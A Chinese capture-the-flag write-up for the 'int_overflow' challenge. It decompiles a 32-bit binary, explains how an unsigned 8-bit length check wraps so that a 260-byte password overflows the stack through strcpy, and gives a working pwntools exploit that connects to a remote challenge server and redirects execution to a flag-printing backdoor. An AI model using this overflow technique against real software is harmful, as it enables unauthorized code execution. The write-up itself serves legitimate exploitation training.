int_overflow
题目描述:菜鸡感觉这题似乎没有办法溢出,真的么?
题目附件:
file如下:
32位ELF文件
checksec如下:
IDA反汇编,查看main函数:
int __cdecl main(int argc, const char **argv, const char **envp) { int v4; // [esp+Ch] [ebp-Ch] setbuf(stdin, 0); setbuf(stdout, 0); setbuf(stderr, 0); puts("---------------------"); puts("~~ Welcome to CTF! ~~"); puts(" 1.Login "); puts(" 2.Exit "); puts("---------------------"); printf("Your choice:"); __isoc99_scanf("%d", &v4); if ( v4 == 1 ) { login(); } else { if ( v4 == 2 ) { puts("Bye~"); exit(0); } puts("Invalid Choice!"); } return 0; }
查看login函数:
char *login() { char buf; // [esp+0h] [ebp-228h] char s; // [esp+200h] [ebp-28h] memset(&s, 0, 0x20u); memset(&buf, 0, 0x200u); puts("Please input your username:"); read(0, &s, 0x19u); printf("Hello %s\n", &s); puts("Please input your passwd:"); read(0, &buf, 0x199u); return check_passwd(&buf); }
查看check_passwd函数:
char *__cdecl check_passwd(char *s) { char *result; // eax char dest; // [esp+4h] [ebp-14h] unsigned __int8 v3; // [esp+Fh] [ebp-9h] v3 = strlen(s); if ( v3 <= 3u || v3 > 8u ) { puts("Invalid Password"); result = fflush(stdout); } else { puts("Success"); fflush(stdout); result = strcpy(&dest, s); } return result; }
发现程序中存在what_is_this函数:
int what_is_this() { return system("cat flag"); }
存在后门函数,显然目标就是运行what_is_this函数
观察得知check_passwd函数中对于输入密码的长度做了限制,限制其长度在4~8
check_passwd的密码s是login函数传入的buf,而buf读入最大可达到0x199,而check_passwd计算密码长度的变量类型是unsigned __int8,只有1个字节,范围在0~255,存在整数溢出漏洞
因此,合法的密码长度除了4~8,还包括260~264,这样,就存在了缓冲区溢出漏洞
我们这里让payload的长度为260
查看what_is_this函数的地址:
exp如下:
from pwn import * #io = process('./pwn') io = connect('220.249.52.133', 36003) what_is_this_address = 0x804868B payload = b'a'*0x18 + p32(what_is_this_address) + b'a'*0xe8 io.sendlineafter('choice:', '1') io.sendlineafter('username:', 'username') io.sendlineafter('passwd:', payload) io.interactive()